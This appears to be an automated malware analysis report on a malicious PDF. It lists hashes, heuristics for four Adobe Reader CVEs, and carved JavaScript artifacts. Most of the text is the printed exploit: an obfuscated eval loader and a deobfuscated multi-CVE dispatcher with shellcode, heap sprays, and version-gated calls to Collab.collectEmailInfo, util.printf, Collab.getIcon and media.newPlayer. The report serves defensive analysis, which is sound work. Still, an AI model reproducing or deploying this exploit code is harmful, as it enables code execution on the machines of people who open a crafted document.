Malicious PDF — malware analysis report

Static analysis result for SHA-256 55c1f2487c28eef1…

MALICIOUS

PDF

32.9 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-09
MD5: c4fbec1eab75d7b960a403e50708f5e5 SHA-1: bfa627dc19404b0293d64d77e313ace19544f16a SHA-256: 55c1f2487c28eef194bfd3b7dac79671cba8e9e2ccbae1cf430b9e62aea319e6
448 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF document was flagged as suspicious by a machine learning classifier with a very high confidence score. Static analysis identified embedded JavaScript, which is often used to exploit PDF reader vulnerabilities or download secondary payloads. The presence of JavaScript actions and embedded JS streams strongly suggests malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x8030 636 bytes
SHA-256: 168d15c97a4cce3a24f5430a3b20be07a38b705dea750350a3fe047ac17403e4
Preview script
First 1,000 lines of the extracted script
function ke(eh){return Math.floor(eh/2);};var a=function(){ml=(function(){return this;})();aig=new Date();var dfow='';var sxy='e'+(parseInt(aig.getMonth())-2)+'a'+dfow+'l';kjf=ml[sxy.replace('9','v')];var kqmq='';var dfow='';kjf('va'+dfow+'r gr=th'+dfow+'i'+dfow+'s');kjf(''+dfow+' ydpn=Str'+dfow+'ing.f'+dfow+'romC'+dfow+'harCode');lf='pr'+dfow+aig.getMonth()+dfow+'uc'+'er';lf=lf.replace('11','od');var meie=gr[lf];jb=dfow;kjf('va'+jb+'r n'+dfow+'r=['+meie+jb+']');bdpa=nr;nyn='le'+dfow+'ng'+dfow+'th';vce=parseInt(bdpa[nyn]);dfow=0;while(dfow<vce){kqmq+=ydpn(bdpa[ke(dfow)+ke(vce)]-bdpa[ke(dfow)]);dfow+=2;}
kjf(kqmq);};a.call();
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3636 bytes
SHA-256: 4b109184685cb35f664eed1fe30b4a4eb02b23618e4c21728df72cc2ad7e8c4f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u36b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5834%ue2aa%uc3fa%ue5e8%uffff%ub1ff%u5954%u5858%ud906%u04b4%u5859%ud158%ud5bf%u4817%u37d5%u690c%u0f83%u0b09%u0b0b%u0b0b%u0b0b%u0b0d%u300b%u595c%u5858%u0e0d%u300b%u3637%u5858%u2d30%u342a%u0c35%ud630%u5616%ub0b4%u5810%u5858%ub008%u5824%u5858%u88a7%u9cdb%u3050%ub717%u5d17%ub008%u5834%u5858%u88a7%u98dd%u4f2d%u0c32%uab01%u30f2%ua62a%u4eeb%u45b0%u5858%u0858%u09b0%u5858%ua758%u0b88%ua632%ud130%u5937%ub0e5%u5850%u5858%ub008%u5864%u5858%u88a7%u6938%u3c98%u08d3%ud368%u540a%u0ad3%ud34c%u702a%u40e1%u5858%u6958%u69a7%uf498%u3964%u5a24%u7874%u9799%u5955%uba9f%ud9a8%u03a7%u12e4%ud332%u481a%u4ad3%u812d%u1cd1%u447c%u9b39%ud338%u7c34%ud37c%u641d%u0cd3%u205d%ub259%u12d3%ud340%u7802%ub359%u6cbb%ud311%ud36c%ub659%ua769%u9869%uf4a4%u98dc%u5f2c%u9799%u5955%ub39f%u63ac%u7c24%u2d70%ud3b9%u7c02%ub359%ud33e%u1354%u02d3%u5944%ud3b3%ud35c%ub059%u1cd1%u447c%u9a39%u5850%ub7b0%ua7a6%u30a7%u2c2c%u6228%u7777%u2132%u6c3f%u3b76%u7622%u3b3b%u3c77%u2876%u2830%u3e67%u6965%u3d7e%u6b65%u0058';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3632 bytes
SHA-256: 9d7eb05de5a56a99fa41fabe8bf8673275247e29b8822ca6d716630059e7376c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u36b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5834%ue2aa%uc3fa%ue5e8%uffff%ub1ff%u5954%u5858%ud906%u04b4%u5859%ud158%ud5bf%u4817%u37d5%u690c%u0f83%u0b09%u0b0b%u0b0b%u0b0b%u0b0d%u300b%u595c%u5858%u0e0d%u300b%u3637%u5858%u2d30%u342a%u0c35%ud630%u5616%ub0b4%u5810%u5858%ub008%u5824%u5858%u88a7%u9cdb%u3050%ub717%u5d17%ub008%u5834%u5858%u88a7%u98dd%u4f2d%u0c32%uab01%u30f2%ua62a%u4eeb%u45b0%u5858%u0858%u09b0%u5858%ua758%u0b88%ua632%ud130%u5937%ub0e5%u5850%u5858%ub008%u5864%u5858%u88a7%u6938%u3c98%u08d3%ud368%u540a%u0ad3%ud34c%u702a%u40e1%u5858%u6958%u69a7%uf498%u3964%u5a24%u7874%u9799%u5955%uba9f%ud9a8%u03a7%u12e4%ud332%u481a%u4ad3%u812d%u1cd1%u447c%u9b39%ud338%u7c34%ud37c%u641d%u0cd3%u205d%ub259%u12d3%ud340%u7802%ub359%u6cbb%ud311%ud36c%ub659%ua769%u9869%uf4a4%u98dc%u5f2c%u9799%u5955%ub39f%u63ac%u7c24%u2d70%ud3b9%u7c02%ub359%ud33e%u1354%u02d3%u5944%ud3b3%ud35c%ub059%u1cd1%u447c%u9a39%u5850%ub7b0%ua7a6%u30a7%u2c2c%u6228%u7777%u2132%u6c3f%u3b76%u7622%u3b3b%u3c77%u2876%u2830%u3e67%u6965%u3d7e%u6b65%u0058';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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